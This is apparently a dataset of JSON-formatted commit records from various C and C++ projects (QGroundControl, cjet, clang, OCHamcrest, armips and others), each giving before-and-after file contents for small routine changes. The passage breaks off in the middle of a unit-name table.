{"commit":"9ae21777a3dfd8aecc37dd13e24cf8c47b657503","old_file":"preproc_if_check_example_success.c","new_file":"preproc_if_check_example_success.c","old_contents":"","new_contents":"\/**\n* Copyright (c) 2015, Trellis-Logic\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following conditions are met:\n*\n* 1. Redistributions of source code must retain the above copyright notice, this\n*   list of conditions and the following disclaimer.\n* 2. Redistributions in binary form must reproduce the above copyright notice,\n*   this list of conditions and the following disclaimer in the documentation\n*   and\/or other materials provided with the distribution.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\/**\n* The datasheet specifies this location should be on a dword boundary\n*\/\n#define HARDWARE_WIDGET_BASE_REGISTER_LOCATION 0x1000\n\nstruct hardware_widget\n{\n    void *base_register_location;\n};\n\nstruct hardware_widget  g_hardware_widget;\n\n\/**\n * Initializes structure with parameters for access of the hardware widget\n * @param hardware_widget The structure to initialize\n *\/\n#if ((HARDWARE_WIDGET_BASE_REGISTER_LOCATION & 0x3) != 0 )\n    #error \"Hardware widget datatsheet specifies the base register should be at a DWORD boundary!\"\n#endif\nstatic void init_hardware(struct hardware_widget *widget)\n{\n   widget->base_register_location=(void *)HARDWARE_WIDGET_BASE_REGISTER_LOCATION;\n}\n\nint main(void)\n{\n    init_hardware(&g_hardware_widget);\n}\n\n","subject":"Add preprocessor if check example","message":"Add preprocessor if check example\n","lang":"C","license":"bsd-2-clause","repos":"Trellis-Logic\/CPreprocessorTricks"}
{"commit":"caa860cede791d4787e773624a7627ef963fbeed","old_file":"src\/QGCConfig.h","new_file":"src\/QGCConfig.h","old_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 4\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_APPLICATION_VERSION \"v. 2.0.3 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"QGROUNDCONTROL\";\nconst QString ORG_NAME = \"QGROUNDCONTROL.ORG\"; \/\/can be customized by forks to e.g. mycompany.com to maintain separate Settings for customized apps\nconst QString ORG_DOMAIN = \"org.qgroundcontrol\";\/\/can be customized by forks\nconst int APPLICATIONVERSION = 203; \/\/ 2.0.3\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","new_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 4\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_APPLICATION_VERSION_BASE \"v2.0.3\"\n\n#define QGC_APPLICATION_VERSION_SUFFIX \".234 (Daily Build)\"\n#ifdef QGC_APPLICATION_VERSION_SUFFIX\n    #define QGC_APPLICATION_VERSION QGC_APPLICATION_VERSION_BASE QGC_APPLICATION_VERSION_SUFFIX\n#else\n    #define QGC_APPLICATION_VERSION QGC_APPLICATION_VERSION_BASE \" (Developer Build)\"\n#endif\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"QGROUNDCONTROL\";\nconst QString ORG_NAME = \"QGROUNDCONTROL.ORG\"; \/\/can be customized by forks to e.g. mycompany.com to maintain separate Settings for customized apps\nconst QString ORG_DOMAIN = \"org.qgroundcontrol\";\/\/can be customized by forks\nconst int APPLICATIONVERSION = 203; \/\/ 2.0.3\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","subject":"Allow version suffix from command line","message":"Allow version suffix from command line\n","lang":"C","license":"agpl-3.0","repos":"hejunbok\/qgroundcontrol,caoxiongkun\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,iidioter\/qgroundcontrol,RedoXyde\/PX4_qGCS,iidioter\/qgroundcontrol,Hunter522\/qgroundcontrol,TheIronBorn\/qgroundcontrol,jy723\/qgroundcontrol,ethz-asl\/qgc_asl,LIKAIMO\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,UAVenture\/qgroundcontrol,dagoodma\/qgroundcontrol,scott-eddy\/qgroundcontrol,iidioter\/qgroundcontrol,fizzaly\/qgroundcontrol,remspoor\/qgroundcontrol,RedoXyde\/PX4_qGCS,ethz-asl\/qgc_asl,scott-eddy\/qgroundcontrol,scott-eddy\/qgroundcontrol,greenoaktree\/qgroundcontrol,LIKAIMO\/qgroundcontrol,devbharat\/qgroundcontrol,greenoaktree\/qgroundcontrol,hejunbok\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,kd0aij\/qgroundcontrol,jy723\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,Hunter522\/qgroundcontrol,TheIronBorn\/qgroundcontrol,jy723\/qgroundcontrol,lis-epfl\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,devbharat\/qgroundcontrol,cfelipesouza\/qgroundcontrol,iidioter\/qgroundcontrol,LIKAIMO\/qgroundcontrol,ethz-asl\/qgc_asl,fizzaly\/qgroundcontrol,iidioter\/qgroundcontrol,fizzaly\/qgroundcontrol,dagoodma\/qgroundcontrol,scott-eddy\/qgroundcontrol,TheIronBorn\/qgroundcontrol,fizzaly\/qgroundcontrol,kd0aij\/qgroundcontrol,BMP-TECH\/qgroundcontrol,TheIronBorn\/qgroundcontrol,ethz-asl\/qgc_asl,fizzaly\/qgroundcontrol,nado1688\/qgroundcontrol,greenoaktree\/qgroundcontrol,caoxiongkun\/qgroundcontrol,nado1688\/qgroundcontrol,BMP-TECH\/qgroundcontrol,greenoaktree\/qgroundcontrol,caoxiongkun\/qgroundcontrol,fizzaly\/qgroundcontrol,UAVenture\/qgroundcontrol,caoxiongkun\/qgroundcontrol,RedoXyde\/PX4_qGCS,UAVenture\/qgroundcontrol,iidioter\/qgroundcontrol,kd0aij\/qgroundcontrol,BMP-TECH\/qgroundcontrol,TheIronBorn\/qgroundcontrol,jy723\/qgroundcontrol,hejunbok\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,scott-eddy\/qgroundcontrol,lis-epfl\/qgroundcontrol,hejunbok\/qgroundcontrol,dagoodma\/qgroundcontrol,remspoor\/qgroundcontrol,cfelipesouza\/qgroundcontrol,cfelipesouza\/qgroundcontrol,mihadyuk\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,nado1688\/qgroundcontrol,lis-epfl\/qgroundcontrol,dagoodma\/qgroundcontrol,UAVenture\/qgroundcontrol,UAVenture\/qgroundcontrol,remspoor\/qgroundcontrol,kd0aij\/qgroundcontrol,mihadyuk\/qgroundcontrol,kd0aij\/qgroundcontrol,lis-epfl\/qgroundcontrol,remspoor\/qgroundcontrol,ethz-asl\/qgc_asl,devbharat\/qgroundcontrol,nado1688\/qgroundcontrol,kd0aij\/qgroundcontrol,mihadyuk\/qgroundcontrol,caoxiongkun\/qgroundcontrol,RedoXyde\/PX4_qGCS,lis-epfl\/qgroundcontrol,mihadyuk\/qgroundcontrol,devbharat\/qgroundcontrol,jy723\/qgroundcontrol,LIKAIMO\/qgroundcontrol,Hunter522\/qgroundcontrol,cfelipesouza\/qgroundcontrol,cfelipesouza\/qgroundcontrol,caoxiongkun\/qgroundcontrol,mihadyuk\/qgroundcontrol,scott-eddy\/qgroundcontrol,LIKAIMO\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,hejunbok\/qgroundcontrol,remspoor\/qgroundcontrol,remspoor\/qgroundcontrol,greenoaktree\/qgroundcontrol,UAVenture\/qgroundcontrol,jy723\/qgroundcontrol,BMP-TECH\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,nado1688\/qgroundcontrol,nado1688\/qgroundcontrol,Hunter522\/qgroundcontrol,BMP-TECH\/qgroundcontrol,LIKAIMO\/qgroundcontrol,RedoXyde\/PX4_qGCS,catch-twenty-two\/qgroundcontrol,hejunbok\/qgroundcontrol,devbharat\/qgroundcontrol,TheIronBorn\/qgroundcontrol,RedoXyde\/PX4_qGCS,dagoodma\/qgroundcontrol,Hunter522\/qgroundcontrol,greenoaktree\/qgroundcontrol,dagoodma\/qgroundcontrol,mihadyuk\/qgroundcontrol,Hunter522\/qgroundcontrol,BMP-TECH\/qgroundcontrol,cfelipesouza\/qgroundcontrol,devbharat\/qgroundcontrol"}
{"commit":"0a77cedc5dd384cead701b6c9b58d67da4971757","old_file":"fetch.h","new_file":"fetch.h","old_contents":"#ifndef CJET_FETCH_H\n#define CJET_FETCH_H\n\n#include \"json\/cJSON.h\"\n#include \"list.h\"\n#include \"peer.h\"\n\ntypedef int (*match_func)(const char *fetch_path, const char *state_path);\n\nstruct path_matcher {\n\tchar *fetch_path;\n\tmatch_func match_function;\n};\n\nstruct fetch {\n\tchar *fetch_id;\n\tconst struct peer *peer;\n\tstruct list_head next_fetch;\n\tstruct path_matcher matcher[12];\n};\n\ncJSON *add_fetch_to_peer(struct peer *p, cJSON *params);\nvoid remove_all_fetchers_from_peer(struct peer *p);\n\n#endif\n\n","new_contents":"#ifndef CJET_FETCH_H\n#define CJET_FETCH_H\n\n#include \"json\/cJSON.h\"\n#include \"list.h\"\n#include \"peer.h\"\n\ntypedef int (*match_func)(const char *fetch_path, const char *state_path);\n\nstruct path_matcher {\n\tchar *fetch_path;\n\tmatch_func match_function;\n\tuintptr_t cookie;\n};\n\nstruct fetch {\n\tchar *fetch_id;\n\tconst struct peer *peer;\n\tstruct list_head next_fetch;\n\tstruct path_matcher matcher[12];\n};\n\ncJSON *add_fetch_to_peer(struct peer *p, cJSON *params);\nvoid remove_all_fetchers_from_peer(struct peer *p);\n\n#endif\n\n","subject":"Add cookie entry for auxilary match data.","message":"Add cookie entry for auxilary match data.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"bf55c4043cb6f4fab23e42e62cbd911c333c82f8","old_file":"libs\/samson\/stream\/QueuesManager.h","new_file":"libs\/samson\/stream\/QueuesManager.h","old_contents":"\n\n#ifndef _H_STREAM_QUEUE_MANAGER\n#define _H_STREAM_QUEUE_MANAGER\n\n\/* ****************************************************************************\n *\n * FILE                      QueuesManager.h\n *\n * AUTHOR                    Andreu Urruela Planas\n *\n * All the queues contained in the system\n *\n *\/\n\n\n#include \"au\/map.h\"     \/\/ au::map\n\n\nnamespace samson {\n    namespace stream\n    {\n        \n        class Queue;\n        class Block;\n        \n        class QueuesManager \n        {\n            au::map< std::string , Queue > queues;  \/\/ Map with the current queues\n     \n        public:\n            \n            QueuesManager();\n            std::string getStatus();\n\n            void addBlock( std::string queue , Block *b);\n            \n        };\n    }\n}\n\n#endif","new_contents":"\n\n#ifndef _H_STREAM_QUEUE_MANAGER\n#define _H_STREAM_QUEUE_MANAGER\n\n\/* ****************************************************************************\n *\n * FILE                      QueuesManager.h\n *\n * AUTHOR                    Andreu Urruela Planas\n *\n * All the queues contained in the system\n *\n *\/\n\n\n#include \"au\/map.h\"     \/\/ au::map\n#include <string>\n\nnamespace samson {\n    namespace stream\n    {\n        \n        class Queue;\n        class Block;\n        \n        class QueuesManager \n        {\n            au::map< std::string , Queue > queues;  \/\/ Map with the current queues\n     \n        public:\n            \n            QueuesManager();\n            std::string getStatus();\n\n            void addBlock( std::string queue , Block *b);\n            \n        };\n    }\n}\n\n#endif\n","subject":"Fix compilation broken for linux","message":"Fix compilation broken for linux\n\ngit-svn-id: 9714148d14941aebeae8d7f7841217f5ffc02bc5@1242 4143565c-f3ec-42ea-b729-f8ce0cf5cbc3\n","lang":"C","license":"apache-2.0","repos":"telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform"}
{"commit":"996c8b178b365009726f0d9fd5540439aafe7e9b","old_file":"inc\/ow_solver_container.h","new_file":"inc\/ow_solver_container.h","old_contents":"#ifndef OW_SOLVER_CONTAINER\n#define OW_SOLVER_CONTAINER\n#include \"ow_isolver.h\"\n#include \"ow_cl_const.h\"\n#include <string>\n#include <vector>\nnamespace x_engine\n{\nnamespace solver\n{\nenum SOLVER_TYPE\n{\n  OCL = 1,\n  CUDA,\n  SINGLE,\n  PARALLEL\n};\nenum DEVICE\n{\n  CPU = 0,\n  GPU = 1,\n  ALL = 2\n};\nstruct device\n{\n  DEVICE type;\n  std::string name;\n  bool is_buisy;\n};\nclass solver_container\n{\npublic:\n  solver_container(size_t devices_number = 1, SOLVER_TYPE s_t = OCL);\n  ~solver_container() {}\n\nprivate:\n  std::vector<std::shared_ptr<i_solver>> _solvers;\n  std::vector<std::shared_ptr<device>> devices;\n};\n}\n}\n\n#endif","new_contents":"#ifndef OW_SOLVER_CONTAINER\n#define OW_SOLVER_CONTAINER\n#include \"ow_isolver.h\"\n#include \"ow_cl_const.h\"\n#include <string>\n#include <vector>\nnamespace x_engine\n{\nnamespace solver\n{\nenum SOLVER_TYPE\n{\n  OCL = 1,\n  CUDA,\n  SINGLE,\n  PARALLEL\n};\nenum DEVICE\n{\n  CPU = 0,\n  GPU = 1,\n  ALL = 2\n};\nstruct device\n{\n  DEVICE type;\n  std::string name;\n  bool is_buisy;\n};\nclass solver_container\n{\npublic:\n  solver_container(const solver_container &) = delete;\n  solver_container &operator=(const solver_container &) = delete;\n  \/** Classic Maer's singleton\n   *\/\n  static solver_container &instance(size_t devices_number = 1, SOLVER_TYPE s_t = OCL)\n  {\n    static solver_container s(size_t devices_number, SOLVER_TYPE s_t);\n    return s;\n  }\n\nprivate:\n  solver_container(size_t devices_number = 1, SOLVER_TYPE s_t = OCL);\n  ~solver_container() {}\n  std::vector<std::shared_ptr<i_solver>> _solvers;\n  std::vector<std::shared_ptr<device>> devices;\n};\n}\n}\n\n#endif","subject":"Change solver_container is singleton now.","message":"Change solver_container is singleton now.\n","lang":"C","license":"mit","repos":"skhayrulin\/x_engine,skhayrulin\/x_engine,skhayrulin\/x_engine"}
{"commit":"21adcf3b5f4c748fbda7f276f75a33121cee6df1","old_file":"test\/Index\/Inputs\/reparse-instantiate.h","new_file":"test\/Index\/Inputs\/reparse-instantiate.h","old_contents":"","new_contents":"template <typename T> struct S;\n\ntemplate<typename T> void c(T)\n{\n}\n\ntemplate <> struct S <int>\n{\n  void a()\n  {\n    c(&S<int>::b);\n  }\n  void b() {}\n};\n","subject":"Add missing part of test","message":"Add missing part of test\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@143985 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"981c98937d40a196cc09530504012a792a7b5348","old_file":"Source\/Core\/HCSelfDescribing.h","new_file":"Source\/Core\/HCSelfDescribing.h","old_contents":"\/\/\n\/\/  OCHamcrest - HCSelfDescribing.h\n\/\/  Copyright 2013 hamcrest.org. See LICENSE.txt\n\/\/\n\/\/  Created by: Jon Reid, http:\/\/qualitycoding.org\/\n\/\/  Docs: http:\/\/hamcrest.github.com\/OCHamcrest\/\n\/\/  Source: https:\/\/github.com\/hamcrest\/OCHamcrest\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol HCDescription;\n\n\n\/**\n    The ability of an object to describe itself.\n\n    @ingroup core\n *\/\n@protocol HCSelfDescribing <NSObject>\n\n\/**\n    Generates a description of the object.\n    \n    The description may be part of a description of a larger object of which this is just a\n    component, so it should be worded appropriately.\n    \n    @param description  The description to be built or appended to.\n *\/\n- (void)describeTo:(id<HCDescription>)description;\n\n@end\n","new_contents":"\/\/\n\/\/  OCHamcrest - HCSelfDescribing.h\n\/\/  Copyright 2013 hamcrest.org. See LICENSE.txt\n\/\/\n\/\/  Created by: Jon Reid, http:\/\/qualitycoding.org\/\n\/\/  Docs: http:\/\/hamcrest.github.com\/OCHamcrest\/\n\/\/  Source: https:\/\/github.com\/hamcrest\/OCHamcrest\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"HCDescription.h\"\n\n\n\/**\n    The ability of an object to describe itself.\n\n    @ingroup core\n *\/\n@protocol HCSelfDescribing <NSObject>\n\n\/**\n    Generates a description of the object.\n    \n    The description may be part of a description of a larger object of which this is just a\n    component, so it should be worded appropriately.\n    \n    @param description  The description to be built or appended to.\n *\/\n- (void)describeTo:(id<HCDescription>)description;\n\n@end\n","subject":"Change forward declaration to import for convenience.","message":"Change forward declaration to import for convenience.\n\nhttps:\/\/github.com\/hamcrest\/OCHamcrest\/issues\/31\n","lang":"C","license":"bsd-2-clause","repos":"nschum\/OCHamcrest,hamcrest\/OCHamcrest,hamcrest\/OCHamcrest,klundberg\/OCHamcrest,nschum\/OCHamcrest,nschum\/OCHamcrest,hamcrest\/OCHamcrest,klundberg\/OCHamcrest"}
{"commit":"e64358edc12b9a2fcbf57ecb2ce17ca609df8d43","old_file":"Core\/Assembler.h","new_file":"Core\/Assembler.h","old_contents":"#pragma once\n#include \"..\/Util\/FileClasses.h\"\n#include \"..\/Util\/Util.h\"\n#include \"FileManager.h\"\n\n#define ARMIPS_VERSION_MAJOR    0\n#define ARMIPS_VERSION_MINOR    10\n#define ARMIPS_VERSION_REVISION 0\n\nenum class ArmipsMode { FILE, MEMORY };\n\nstruct LabelDefinition\n{\n\tstd::wstring name;\n\tint64_t value;\n};\n\nstruct EquationDefinition\n{\n\tstd::wstring name;\n\tstd::wstring value;\n};\n\nstruct ArmipsArguments\n{\n\t\/\/ common\n\tArmipsMode mode;\n\tint symFileVersion;\n\tbool errorOnWarning;\n\tbool silent;\n\tStringList* errorsResult;\n\tstd::vector<EquationDefinition> equList;\n\tstd::vector<LabelDefinition> labels;\n\n\t\/\/ file mode\n\tstd::wstring inputFileName;\n\tstd::wstring tempFileName;\n\tstd::wstring symFileName;\n\tbool useAbsoluteFileNames;\n\n\t\/\/ memory mode\n\tstd::shared_ptr<AssemblerFile> memoryFile;\n\tstd::wstring content;\n\n\tArmipsArguments()\n\t{\n\t\tmode = ArmipsMode::FILE;\n\t\terrorOnWarning = false;\n\t\tsilent = false;\n\t\terrorsResult = nullptr;\n\t\tuseAbsoluteFileNames = true;\n\t}\n};\n\nbool runArmips(ArmipsArguments& arguments);\n","new_contents":"#pragma once\n#include \"..\/Util\/FileClasses.h\"\n#include \"..\/Util\/Util.h\"\n#include \"FileManager.h\"\n\n#define ARMIPS_VERSION_MAJOR    0\n#define ARMIPS_VERSION_MINOR    10\n#define ARMIPS_VERSION_REVISION 0\n\nenum class ArmipsMode { FILE, MEMORY };\n\nstruct LabelDefinition\n{\n\tstd::wstring name;\n\tint64_t value;\n};\n\nstruct EquationDefinition\n{\n\tstd::wstring name;\n\tstd::wstring value;\n};\n\nstruct ArmipsArguments\n{\n\t\/\/ common\n\tArmipsMode mode;\n\tint symFileVersion;\n\tbool errorOnWarning;\n\tbool silent;\n\tStringList* errorsResult;\n\tstd::vector<EquationDefinition> equList;\n\tstd::vector<LabelDefinition> labels;\n\n\t\/\/ file mode\n\tstd::wstring inputFileName;\n\tstd::wstring tempFileName;\n\tstd::wstring symFileName;\n\tbool useAbsoluteFileNames;\n\n\t\/\/ memory mode\n\tstd::shared_ptr<AssemblerFile> memoryFile;\n\tstd::wstring content;\n\n\tArmipsArguments()\n\t{\n\t\tmode = ArmipsMode::FILE;\n\t\tsymFileVersion = 0;\n\t\terrorOnWarning = false;\n\t\tsilent = false;\n\t\terrorsResult = nullptr;\n\t\tuseAbsoluteFileNames = true;\n\t}\n};\n\nbool runArmips(ArmipsArguments& arguments);\n","subject":"Fix symFileVersion not being initialized in ArmipsArguments constructor","message":"Fix symFileVersion not being initialized in ArmipsArguments constructor\n","lang":"C","license":"mit","repos":"Kingcom\/armips,Kingcom\/armips,sp1187\/armips,sp1187\/armips,Kingcom\/armips,sp1187\/armips"}
{"commit":"48e9fb19e370828f69a2a449c9cdfd32b01d88f5","old_file":"compiler.h","new_file":"compiler.h","old_contents":"\/* Copyright 2014-2015 Drew Thoreson\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef _COMPILER_H\n#define _COMPILER_H\n\n#if __STDC_VERSION__ < 201112L\n#define _Static_assert(cond, msg) \\\n\textern char navi_static_assert_fail[1\/(cond)]\n#define _Noreturn\n#define _Alignas(n) __attribute__((aligned(n)))\n#endif\n\n\/*\n * GCC 2.96 or compatible required\n *\/\n#if defined(__GNUC__)\n\n#if __GNUC__ > 3\n#undef offsetof\n#define offsetof(type, member) __builtin_offsetof(type, member)\n#endif\n\n\/* Optimization: Condition @x is likely *\/\n#define likely(x) __builtin_expect(!!(x), 1)\n\/* Optimization: Condition @x is unlikely *\/\n#define unlikely(x) __builtin_expect(!!(x), 0)\n\n#define __used   __attribute__((used))\n#define __unused __attribute__((unused))\n#else\n\n#define likely(x) (x)\n#define unlikely(x) (x)\n\n#define __used\n#define __unused\n\n#endif \/* defined(__GNUC__) *\/\n#endif \/* _COMPILER_H *\/\n","new_contents":"\/* Copyright 2014-2015 Drew Thoreson\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef _COMPILER_H\n#define _COMPILER_H\n\n#if __STDC_VERSION__ < 201112L\n#define _Static_assert(cond, msg) \\\n\textern char navi_static_assert_fail[1\/(cond)]\n#ifdef __GNUC__\n#define _Noreturn __attribute__((noreturn))\n#define _Alignas(n) __attribute__((aligned(n)))\n#else\n#define _Noreturn\n#define _Alignas(n)\n#pragma message \"*** WARNING: _Alignas defined as NOP ***\"\n#endif\n#endif\n\n\/*\n * GCC 2.96 or compatible required\n *\/\n#if defined(__GNUC__)\n\/* Optimization: Condition @x is likely *\/\n#define likely(x) __builtin_expect(!!(x), 1)\n\/* Optimization: Condition @x is unlikely *\/\n#define unlikely(x) __builtin_expect(!!(x), 0)\n\n#define __used   __attribute__((used))\n#define __unused __attribute__((unused))\n#else\n#define likely(x) (x)\n#define unlikely(x) (x)\n\n#define __used\n#define __unused\n#endif \/* defined(__GNUC__) *\/\n#endif \/* _COMPILER_H *\/\n","subject":"Use __attribute__s if __GNUC__ defined","message":"Use __attribute__s if __GNUC__ defined\n\nOtherwise, define _Noreturn and _Alignas as NOPs, and issue a warning\nmessage.\n","lang":"C","license":"mpl-2.0","repos":"drewt\/navi-scheme,drewt\/navi-scheme,drewt\/navi-scheme"}
{"commit":"13dbcc3abd024bd5fbd47cc9b1094f5ade9d6f14","old_file":"tests\/regression\/56-witness\/05-prec-problem.c","new_file":"tests\/regression\/56-witness\/05-prec-problem.c","old_contents":"\/\/PARAM: --enable witness.yaml.enabled --enable ana.int.interval\n#include <stdlib.h>\n\nint foo(int* ptr1, int* ptr2){\n    int result;\n    if(ptr1 == ptr2){\n        result = 0;\n    } else {\n        result = 1;\n    }\n    \/\/ Look at the generated witness.yml to check whether there contradictory precondition_loop_invariant[s]\n    return result;\n}\n\nint main(){\n    int five = 5;\n    int five2 = 5;\n    int y = foo(&five, &five);\n    int z = foo(&five, &five2);\n    assert(y != z);\n    return 0;\n}\n","new_contents":"\/\/PARAM: --enable witness.yaml.enabled --enable ana.int.interval\n#include <stdlib.h>\n\nint foo(int* ptr1, int* ptr2){\n    int result;\n    if(ptr1 == ptr2){\n        result = 0;\n    } else {\n        result = 1;\n    }\n    \/\/ Look at the generated witness.yml to check whether there are contradictory precondition_loop_invariant[s]\n    return result;\n}\n\nint main(){\n    int five = 5;\n    int five2 = 5;\n    int y = foo(&five, &five);\n    int z = foo(&five, &five2);\n    assert(y != z);\n    return 0;\n}\n","subject":"Add missing word in comment","message":"Add missing word in comment\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6f132875296595c4f26f9eee940666b1a4ca8135","old_file":"c_fs_monitor\/test_fs_monitor.c","new_file":"c_fs_monitor\/test_fs_monitor.c","old_contents":"\/*\n    This is a simple C program which is a stub for the FS monitor.\n    It takes one argument which would be a directory to monitor. In this case,\n    the filename is discarded after argument validation.\n    Every minute the \n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main (int argc, char **argv) {\n    if (argc != 2) {\n        fprintf(stderr, \"Not enough arguments\");\n        exit(EXIT_FAILURE);\n    }\n\n    while (1) {\n        fprintf(stdout, \"{ \\\"key\\\": \\\"value\\\" }\\n\");\n        fflush(stdout);\n        fprintf(stderr, \"tick\\n\");\n        sleep(1);\n    }\n}\n\n","new_contents":"\/*\n    This is a simple C program which is a stub for the FS monitor.\n    It takes one argument which would be a directory to monitor. In this case,\n    the filename is discarded after argument validation.\n    Every minute the \n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main (int argc, char **argv) {\n    if (argc < 2) {\n        fprintf(stderr, \"Not enough arguments\");\n        exit(EXIT_FAILURE);\n    }\n\n    while (1) {\n        fprintf(stdout, \"{ \\\"key\\\": \\\"value\\\" }\\n\");\n        fflush(stdout);\n        fprintf(stderr, \"tick\\n\");\n        sleep(1);\n    }\n}\n\n","subject":"Fix arguments count check in test inotify program","message":"Fix arguments count check in test inotify program\n","lang":"C","license":"mit","repos":"iankronquist\/senior-project-experiment,iankronquist\/senior-project-experiment,iankronquist\/senior-project-experiment,iankronquist\/beeswax,iankronquist\/beeswax,iankronquist\/beeswax,iankronquist\/senior-project-experiment,iankronquist\/beeswax"}
{"commit":"2557222f7a6ae5d2ae93c56f7d655cf9374c17dd","old_file":"src\/backends\/usda_unit_data.h","new_file":"src\/backends\/usda_unit_data.h","old_contents":"","new_contents":"\/***************************************************************************\n*   Copyright (C) 2006                                                    *\n*                                                                         *\n*   Jason Kivlighn (jkivlighn@gmail.com)                                  *\n*                                                                         *\n*   This program is free software; you can redistribute it and\/or modify  *\n*   it under the terms of the GNU General Public License as published by  *\n*   the Free Software Foundation; either version 2 of the License, or     *\n*   (at your option) any later version.                                   *\n***************************************************************************\/\n\n#ifndef USDA_UNIT_DATA_H\n#define USDA_UNIT_DATA_H\n\n#include <klocale.h>\n\n#include <qstring.h>\n\nstruct unit_data {\n\tconst char *name;\n\tconst char *plural;\n};\n\nstatic unit_data unit_data_list[] = {\n            {\"bag\",\"bags\"},\n            {\"block\",\"blocks\"},\n            {\"bottle\",\"bottles\"},\n            {\"box\",\"boxes\"},\n            {\"bunch\",\"bunches\"},\n            {\"can\",\"cans\"},\n            {\"cone\",\"cones\"},\n            {\"container\",\"containers\"},\n            {\"cube\",\"cubes\"},\n            {\"cup\",\"cups\"},\n            {\"fl oz\",\"fl oz\"},\n            {\"glass\",\"glasses\"},\n            {\"item\",\"items\"},\n            {\"loaf\",\"loaves\"},\n            {\"large\",\"large\"},\n            {\"lb\",\"lbs\"},\n            {\"junior\",\"junior\"},\n            {\"leaf\",\"leaves\"},\n            {\"medium\",\"medium\"},\n            {\"oz\",\"oz\"},\n            {\"pack\",\"packs\"},\n            {\"package\",\"packages\"},\n            {\"packet\",\"packets\"},\n            {\"piece\",\"pieces\"},\n            {\"pouch\",\"pouches\"},\n            {\"quart\",\"quarts\"},\n            {\"scoop\",\"scoops\"},\n            {\"sheet\",\"sheets\"},\n            {\"slice\",\"slices\"},\n            {\"small\",\"small\"},\n            {\"spear\",\"spears\"},\n            {\"sprout\",\"spouts\"},\n            {\"sprig\",\"sprigs\"},\n            {\"square\",\"squares\"},\n            {\"stalk\",\"stalks\"},\n            {\"stem\",\"stems\"},\n            {\"strip\",\"strips\"},\n            {\"tablespoon\",\"tablespoons\"},\n            